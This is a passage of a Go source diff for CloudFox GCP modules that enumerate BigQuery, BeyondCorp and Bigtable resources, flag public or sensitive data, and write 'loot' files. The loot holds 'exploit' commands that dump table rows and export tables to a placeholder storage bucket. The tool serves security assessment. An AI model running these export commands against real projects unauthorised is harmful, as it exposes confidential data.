func (m *BeyondCorpModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectAppConnectors {
projectIDs[projectID] = true
}
for projectID := range m.ProjectAppConnections {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BeyondCorpOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
}
}
func (m *BeyondCorpModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allConnectors := m.getAllConnectors()
allConnections := m.getAllConnections()
var tables []internal.TableFile
if len(allConnectors) > 0 {
tables = append(tables, internal.TableFile{
Name: "beyondcorp-connectors",
Header: m.getConnectorsHeader(),
Body: m.connectorsToTableBody(allConnectors),
})
}
if len(allConnections) > 0 {
tables = append(tables, internal.TableFile{
Name: "beyondcorp-connections",
Header: m.getConnectionsHeader(),
Body: m.connectionsToTableBody(allConnections),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BeyondCorpOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BEYONDCORP_MODULE_NAME)
}
}
+449 -99
View File
@@ -1,134 +1,484 @@
package commands
import (
"context"
"fmt"
"time"
"strings"
"sync"
BigQueryService "github.com/BishopFox/cloudfox/gcp/services/bigqueryService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPBigQueryCommand = &cobra.Command{
Use: "bigquery",
Aliases: []string{},
Short: "Display Bigquery datasets and tables information",
Args: cobra.MinimumNArgs(0),
Long: `
Display available Bigquery datasets and tables resource information:
cloudfox gcp bigquery`,
Use: globals.GCP_BIGQUERY_MODULE_NAME,
Aliases: []string{"bq"},
Short: "Enumerate GCP BigQuery datasets and tables with security analysis",
Long: `Enumerate GCP BigQuery datasets and tables across projects with security-focused analysis.
Features:
- Lists all BigQuery datasets with security-relevant columns
- Shows tables within each dataset with encryption and type info
- Enumerates dataset access control entries (IAM-like)
- Identifies publicly accessible datasets (allUsers/allAuthenticatedUsers)
- Shows encryption status (Google-managed vs CMEK)
- Generates bq commands for data enumeration
- Generates exploitation commands for data access`,
Run: runGCPBigQueryCommand,
}
// GCPBigQueryResults struct that implements the internal.OutputInterface
type GCPBigQueryResults struct {
DatasetsData []BigQueryService.BigqueryDataset
TablesData []BigQueryService.BigqueryTable
// ------------------------------
// Module Struct with embedded BaseGCPModule
// ------------------------------
type BigQueryModule struct {
gcpinternal.BaseGCPModule
// Per-project data for hierarchical output
ProjectDatasets map[string][]BigQueryService.BigqueryDataset
ProjectTables map[string][]BigQueryService.BigqueryTable
LootMap map[string]map[string]*internal.LootFile
mu sync.Mutex
}
// Define the format for CSV & JSON output
func (g GCPBigQueryResults) TableFiles() []internal.TableFile {
var tableFiles []internal.TableFile
// For Datasets
datasetHeader := []string{"Name", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "Location", "ProjectID"}
var datasetBody [][]string
for _, dataset := range g.DatasetsData {
datasetBody = append(datasetBody, []string{
dataset.Name,
dataset.DatasetID,
dataset.Description,
dataset.CreationTime.Format(time.RFC3339),
dataset.LastModifiedTime.Format(time.RFC3339),
dataset.Location,
dataset.ProjectID,
})
}
datasetTableFile := internal.TableFile{
Header: datasetHeader,
Body: datasetBody,
Name: "bigquery-datasets",
}
tableFiles = append(tableFiles, datasetTableFile)
// For Tables
tableHeader := []string{"TableID", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "NumBytes", "Location", "ProjectID"}
var tableBody [][]string
for _, table := range g.TablesData {
tableBody = append(tableBody, []string{
table.TableID,
table.DatasetID,
table.Description,
table.CreationTime.Format(time.RFC3339),
table.LastModifiedTime.Format(time.RFC3339),
fmt.Sprintf("%d", table.NumBytes),
table.Location,
table.ProjectID,
})
}
tableTableFile := internal.TableFile{
Header: tableHeader,
Body: tableBody,
Name: "bigquery-tables",
}
tableFiles = append(tableFiles, tableTableFile)
return tableFiles
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// ------------------------------
type BigQueryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (g GCPBigQueryResults) LootFiles() []internal.LootFile {
// Implement if there's specific data considered as loot
return []internal.LootFile{}
}
func (o BigQueryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BigQueryOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPBigQueryCommand(cmd *cobra.Command, args []string) {
var projectIDs []string
var account string
parentCmd := cmd.Parent()
ctx := cmd.Context()
logger := internal.NewLogger()
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
projectIDs = value
} else {
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_BIGQUERY_MODULE_NAME)
// Initialize command context
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGQUERY_MODULE_NAME)
if err != nil {
return // Error already logged
}
// Create module instance
module := &BigQueryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectDatasets: make(map[string][]BigQueryService.BigqueryDataset),
ProjectTables: make(map[string][]BigQueryService.BigqueryTable),
LootMap: make(map[string]map[string]*internal.LootFile),
}
// Execute enumeration
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *BigQueryModule) Execute(ctx context.Context, logger internal.Logger) {
// Run enumeration with concurrency
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGQUERY_MODULE_NAME, m.processProject)
// Get all data for stats
allDatasets := m.getAllDatasets()
allTables := m.getAllTables()
// Check results
if len(allDatasets) == 0 && len(allTables) == 0 {
logger.InfoM("No BigQuery datasets found", globals.GCP_BIGQUERY_MODULE_NAME)
return
}
if value, ok := ctx.Value("account").(string); ok {
account = value
} else {
logger.ErrorM("Could not retrieve account email from command", globals.GCP_BIGQUERY_MODULE_NAME)
logger.SuccessM(fmt.Sprintf("Found %d dataset(s) with %d table(s)", len(allDatasets), len(allTables)), globals.GCP_BIGQUERY_MODULE_NAME)
// Write output
m.writeOutput(ctx, logger)
}
// getAllDatasets returns all datasets from all projects
func (m *BigQueryModule) getAllDatasets() []BigQueryService.BigqueryDataset {
var all []BigQueryService.BigqueryDataset
for _, datasets := range m.ProjectDatasets {
all = append(all, datasets...)
}
return all
}
// getAllTables returns all tables from all projects
func (m *BigQueryModule) getAllTables() []BigQueryService.BigqueryTable {
var all []BigQueryService.BigqueryTable
for _, tables := range m.ProjectTables {
all = append(all, tables...)
}
return all
}
// ------------------------------
// Project Processor (called concurrently for each project)
// ------------------------------
func (m *BigQueryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating BigQuery in project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
}
// Create service and fetch data
bqService := BigQueryService.New()
var datasetsResults []BigQueryService.BigqueryDataset
var tablesResults []BigQueryService.BigqueryTable
result, err := bqService.BigqueryDatasetsAndTables(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGQUERY_MODULE_NAME,
fmt.Sprintf("Could not enumerate BigQuery in project %s", projectID))
return
}
// Set output params leveraging parent (gcp) pflag values
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
format, _ := parentCmd.PersistentFlags().GetString("output")
// Thread-safe store per-project
m.mu.Lock()
m.ProjectDatasets[projectID] = result.Datasets
m.ProjectTables[projectID] = result.Tables
for _, projectID := range projectIDs {
logger.InfoM(fmt.Sprintf("Retrieving BigQuery datasets and tables from project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
result, err := bqService.BigqueryDatasetsAndTables(projectID)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
return
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["bigquery-commands"] = &internal.LootFile{
Name: "bigquery-commands",
Contents: "# GCP BigQuery Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
datasetsResults = append(datasetsResults, result.Datasets...)
tablesResults = append(tablesResults, result.Tables...)
cloudfoxOutput := GCPBigQueryResults{DatasetsData: datasetsResults, TablesData: tablesResults}
// Generate loot for each dataset and table
for _, dataset := range result.Datasets {
m.addDatasetToLoot(projectID, dataset)
}
for _, table := range result.Tables {
m.addTableToLoot(projectID, table)
}
m.mu.Unlock()
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_BIGQUERY_MODULE_NAME, account, projectID, cloudfoxOutput)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
return
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d dataset(s) and %d table(s) in project %s", len(result.Datasets), len(result.Tables), projectID), globals.GCP_BIGQUERY_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *BigQueryModule) addDatasetToLoot(projectID string, dataset BigQueryService.BigqueryDataset) {
lootFile := m.LootMap[projectID]["bigquery-commands"]
if lootFile == nil {
return
}
// All commands for this dataset
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# DATASET: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Location: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Show dataset info\n"+
"bq show --project_id=%s %s\n"+
"bq show --format=prettyjson %s:%s\n\n"+
"# List tables in dataset\n"+
"bq ls --project_id=%s %s\n\n",
dataset.DatasetID, dataset.ProjectID, dataset.Location,
dataset.ProjectID, dataset.DatasetID,
dataset.ProjectID, dataset.DatasetID,
dataset.ProjectID, dataset.DatasetID,
)
}
func (m *BigQueryModule) addTableToLoot(projectID string, table BigQueryService.BigqueryTable) {
lootFile := m.LootMap[projectID]["bigquery-commands"]
if lootFile == nil {
return
}
// Table info and query commands
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# TABLE: %s.%s (Dataset: %s)\n"+
"# -----------------------------------------------------------------------------\n"+
"# Project: %s\n"+
"# Type: %s, Size: %d bytes, Rows: %d\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Show table schema:\n"+
"bq show --schema --project_id=%s %s:%s.%s\n\n"+
"# === EXPLOIT COMMANDS ===\n\n"+
"# Query first 100 rows:\n"+
"bq query --project_id=%s --use_legacy_sql=false 'SELECT * FROM `%s.%s.%s` LIMIT 100'\n"+
"# Export table to GCS:\n"+
"bq extract --project_id=%s '%s:%s.%s' gs://<bucket>/export_%s_%s.json\n\n",
table.DatasetID, table.TableID, table.DatasetID,
table.ProjectID,
table.TableType, table.NumBytes, table.NumRows,
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID, table.DatasetID, table.TableID,
)
// Views (may expose data from other datasets)
if table.IsView {
viewQuery := table.ViewQuery
if len(viewQuery) > 200 {
viewQuery = viewQuery[:200] + "..."
}
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
lootFile.Contents += fmt.Sprintf(
"# VIEW DEFINITION: %s.%s\n"+
"# Legacy SQL: %v\n"+
"# Query:\n"+
"# %s\n\n",
table.DatasetID, table.TableID,
table.UseLegacySQL,
strings.ReplaceAll(viewQuery, "\n", "\n# "),
)
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *BigQueryModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getDatasetHeader returns the dataset table header
func (m *BigQueryModule) getDatasetHeader() []string {
return []string{
"Project",
"Dataset ID",
"Location",
"Public",
"Encryption",
"IAM Binding Role",
"Principal Type",
"IAM Binding Principal",
}
}
// getTableHeader returns the table table header
func (m *BigQueryModule) getTableHeader() []string {
return []string{
"Project",
"Dataset ID",
"Table ID",
"Type",
"Encryption",
"Rows",
"Public",
"IAM Binding Role",
"IAM Binding Principal",
}
}
// datasetsToTableBody converts datasets to table body rows
func (m *BigQueryModule) datasetsToTableBody(datasets []BigQueryService.BigqueryDataset) ([][]string, int) {
var body [][]string
publicCount := 0
for _, dataset := range datasets {
publicStatus := ""
if dataset.IsPublic {
publicStatus = dataset.PublicAccess
publicCount++
}
if len(dataset.AccessEntries) > 0 {
for _, entry := range dataset.AccessEntries {
memberType := BigQueryService.GetMemberType(entry.EntityType, entry.Entity)
role := entry.Role
if role == "" {
role = "READER"
}
body = append(body, []string{
m.GetProjectName(dataset.ProjectID),
dataset.DatasetID,
dataset.Location,
publicStatus,
dataset.EncryptionType,
role,
memberType,
entry.Entity,
})
}
} else {
body = append(body, []string{
m.GetProjectName(dataset.ProjectID),
dataset.DatasetID,
dataset.Location,
publicStatus,
dataset.EncryptionType,
"-",
"-",
"-",
})
}
}
return body, publicCount
}
// tablesToTableBody converts tables to table body rows
func (m *BigQueryModule) tablesToTableBody(tables []BigQueryService.BigqueryTable) [][]string {
var body [][]string
for _, table := range tables {
publicStatus := ""
if table.IsPublic {
publicStatus = table.PublicAccess
}
if len(table.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(table.ProjectID),
table.DatasetID,
table.TableID,
table.TableType,
table.EncryptionType,
fmt.Sprintf("%d", table.NumRows),
publicStatus,
"-",
"-",
})
} else {
for _, binding := range table.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(table.ProjectID),
table.DatasetID,
table.TableID,
table.TableType,
table.EncryptionType,
fmt.Sprintf("%d", table.NumRows),
publicStatus,
binding.Role,
member,
})
}
}
}
}
return body
}
// writeHierarchicalOutput writes output to per-project directories
func (m *BigQueryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectDatasets {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectTables {
projectsWithData[projectID] = true
}
totalPublicCount := 0
for projectID := range projectsWithData {
datasets := m.ProjectDatasets[projectID]
tables := m.ProjectTables[projectID]
datasetBody, publicCount := m.datasetsToTableBody(datasets)
totalPublicCount += publicCount
tableBody := m.tablesToTableBody(tables)
tableFiles := []internal.TableFile{
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
}
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BigQueryOutput{Table: tableFiles, Loot: lootFiles}
}
if totalPublicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", totalPublicCount), globals.GCP_BIGQUERY_MODULE_NAME)
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *BigQueryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allDatasets := m.getAllDatasets()
allTables := m.getAllTables()
datasetBody, publicCount := m.datasetsToTableBody(allDatasets)
tableBody := m.tablesToTableBody(allTables)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
tableFiles := []internal.TableFile{
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
}
if publicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", publicCount), globals.GCP_BIGQUERY_MODULE_NAME)
}
output := BigQueryOutput{
Table: tableFiles,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+279
View File
@@ -0,0 +1,279 @@
package commands
import (
"context"
"fmt"
"sync"
bigqueryenumservice "github.com/BishopFox/cloudfox/gcp/services/bigqueryEnumService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var (
bqEnumSampleData bool
bqEnumMaxRows int
bqEnumMaxTables int
)
var GCPBigQueryEnumCommand = &cobra.Command{
Use: globals.GCP_BIGQUERYENUM_MODULE_NAME,
Aliases: []string{"bq-enum", "bq-scan"},
Short: "Scan BigQuery datasets, tables, and columns for sensitive data indicators",
Long: `Scan BigQuery metadata for potentially sensitive data.
Phase 1 (always runs): Scans dataset names, table names, and column names
against sensitive data patterns (credentials, PII, financial, compliance).
Phase 2 (opt-in): Samples data from flagged tables and scans content for
credentials, tokens, and other sensitive values.
Flags:
--sample-data Enable data sampling on flagged tables (default off)
--max-rows Maximum rows to sample per table (default 100)
--max-tables Maximum tables to scan per project (default 50)`,
Run: runGCPBigQueryEnumCommand,
}
func init() {
GCPBigQueryEnumCommand.Flags().BoolVar(&bqEnumSampleData, "sample-data", false, "Sample data from flagged tables and scan content")
GCPBigQueryEnumCommand.Flags().IntVar(&bqEnumMaxRows, "max-rows", 100, "Maximum rows to sample per table")
GCPBigQueryEnumCommand.Flags().IntVar(&bqEnumMaxTables, "max-tables", 50, "Maximum tables to scan per project")
}
type BigQueryEnumModule struct {
gcpinternal.BaseGCPModule
ProjectResources map[string][]bigqueryenumservice.SensitiveBQResource
LootMap map[string]map[string]*internal.LootFile
SampleData bool
MaxRows int
MaxTables int
mu sync.Mutex
}
type BigQueryEnumOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BigQueryEnumOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BigQueryEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPBigQueryEnumCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGQUERYENUM_MODULE_NAME)
if err != nil {
return
}
module := &BigQueryEnumModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectResources: make(map[string][]bigqueryenumservice.SensitiveBQResource),
LootMap: make(map[string]map[string]*internal.LootFile),
SampleData: bqEnumSampleData,
MaxRows: bqEnumMaxRows,
MaxTables: bqEnumMaxTables,
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *BigQueryEnumModule) Execute(ctx context.Context, logger internal.Logger) {
mode := "metadata scan"
if m.SampleData {
mode = "metadata scan + data sampling"
}
logger.InfoM(fmt.Sprintf("Scanning BigQuery resources (%s, max %d tables per project)...",
mode, m.MaxTables), globals.GCP_BIGQUERYENUM_MODULE_NAME)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGQUERYENUM_MODULE_NAME, m.processProject)
allResources := m.getAllResources()
if len(allResources) == 0 {
logger.InfoM("No sensitive BigQuery resources found", globals.GCP_BIGQUERYENUM_MODULE_NAME)
return
}
criticalCount := 0
highCount := 0
for _, r := range allResources {
switch r.RiskLevel {
case "CRITICAL":
criticalCount++
case "HIGH":
highCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d sensitive BigQuery resources (%d CRITICAL, %d HIGH)",
len(allResources), criticalCount, highCount), globals.GCP_BIGQUERYENUM_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *BigQueryEnumModule) getAllResources() []bigqueryenumservice.SensitiveBQResource {
var all []bigqueryenumservice.SensitiveBQResource
for _, resources := range m.ProjectResources {
all = append(all, resources...)
}
return all
}
func (m *BigQueryEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Scanning BigQuery in project: %s", projectID), globals.GCP_BIGQUERYENUM_MODULE_NAME)
}
svc := bigqueryenumservice.New()
resources, err := svc.EnumerateSensitiveResources(projectID, m.MaxTables, m.SampleData, m.MaxRows)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGQUERYENUM_MODULE_NAME,
fmt.Sprintf("Could not scan BigQuery in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectResources[projectID] = resources
if len(resources) > 0 {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
lootFile := &internal.LootFile{
Name: "bigquery-enum-commands",
Contents: "# BigQuery Commands for Sensitive Resources\n# Generated by CloudFox\n\n",
}
for _, r := range resources {
if r.Table != "" {
lootFile.Contents += fmt.Sprintf(
"# [%s] %s - %s.%s.%s\n# %s\nbq query --use_legacy_sql=false 'SELECT * FROM `%s.%s.%s` LIMIT 10'\n\n",
r.RiskLevel, r.Category, projectID, r.Dataset, r.Table,
r.Description,
projectID, r.Dataset, r.Table,
)
} else {
lootFile.Contents += fmt.Sprintf(
"# [%s] %s - %s.%s\n# %s\nbq ls %s:%s\n\n",
r.RiskLevel, r.Category, projectID, r.Dataset,
r.Description,
projectID, r.Dataset,
)
}
}
m.LootMap[projectID]["bigquery-enum-commands"] = lootFile
}
m.mu.Unlock()
}
func (m *BigQueryEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BigQueryEnumModule) getHeader() []string {
return []string{"Project", "Dataset", "Table", "Column", "Match Type", "Category", "Risk Level", "Description"}
}
func (m *BigQueryEnumModule) resourcesToTableBody(resources []bigqueryenumservice.SensitiveBQResource) [][]string {
var body [][]string
for _, r := range resources {
body = append(body, []string{
m.GetProjectName(r.ProjectID),
r.Dataset,
r.Table,
r.Column,
r.MatchType,
r.Category,
r.RiskLevel,
r.Description,
})
}
return body
}
func (m *BigQueryEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
resources := m.ProjectResources[projectID]
if len(resources) == 0 {
return nil
}
return []internal.TableFile{
{
Name: "bigquery-enum",
Header: m.getHeader(),
Body: m.resourcesToTableBody(resources),
},
}
}
func (m *BigQueryEnumModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, resources := range m.ProjectResources {
if len(resources) == 0 {
continue
}
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BigQueryEnumOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGQUERYENUM_MODULE_NAME)
}
}
func (m *BigQueryEnumModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allResources := m.getAllResources()
if len(allResources) == 0 {
return
}
tables := []internal.TableFile{
{
Name: "bigquery-enum",
Header: m.getHeader(),
Body: m.resourcesToTableBody(allResources),
},
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BigQueryEnumOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGQUERYENUM_MODULE_NAME)
}
}
+439
View File
@@ -0,0 +1,439 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
bigtableservice "github.com/BishopFox/cloudfox/gcp/services/bigtableService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPBigtableCommand = &cobra.Command{
Use: globals.GCP_BIGTABLE_MODULE_NAME,
Aliases: []string{"bt"},
Short: "Enumerate Cloud Bigtable instances and tables",
Long: `Enumerate Cloud Bigtable instances, clusters, and tables with IAM analysis.
Features:
- Lists all Bigtable instances with instance-level IAM bindings
- Lists all tables with table-level IAM bindings
- Identifies publicly accessible instances and tables
- Shows cluster information per instance`,
Run: runGCPBigtableCommand,
}
type BigtableModule struct {
gcpinternal.BaseGCPModule
ProjectInstances map[string][]bigtableservice.BigtableInstanceInfo // projectID -> instances
ProjectTables map[string][]bigtableservice.BigtableTableInfo // projectID -> tables
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type BigtableOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BigtableOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BigtableOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPBigtableCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGTABLE_MODULE_NAME)
if err != nil {
return
}
module := &BigtableModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectInstances: make(map[string][]bigtableservice.BigtableInstanceInfo),
ProjectTables: make(map[string][]bigtableservice.BigtableTableInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *BigtableModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGTABLE_MODULE_NAME, m.processProject)
allInstances := m.getAllInstances()
allTables := m.getAllTables()
if len(allInstances) == 0 {
logger.InfoM("No Bigtable instances found", globals.GCP_BIGTABLE_MODULE_NAME)
return
}
// Count public instances and tables
publicInstanceCount := 0
publicTableCount := 0
for _, instance := range allInstances {
if instance.PublicAccess {
publicInstanceCount++
}
}
for _, table := range allTables {
if table.PublicAccess {
publicTableCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d instance(s) with %d table(s)",
len(allInstances), len(allTables)), globals.GCP_BIGTABLE_MODULE_NAME)
if publicInstanceCount > 0 || publicTableCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d public instance(s), %d public table(s)!",
publicInstanceCount, publicTableCount), globals.GCP_BIGTABLE_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
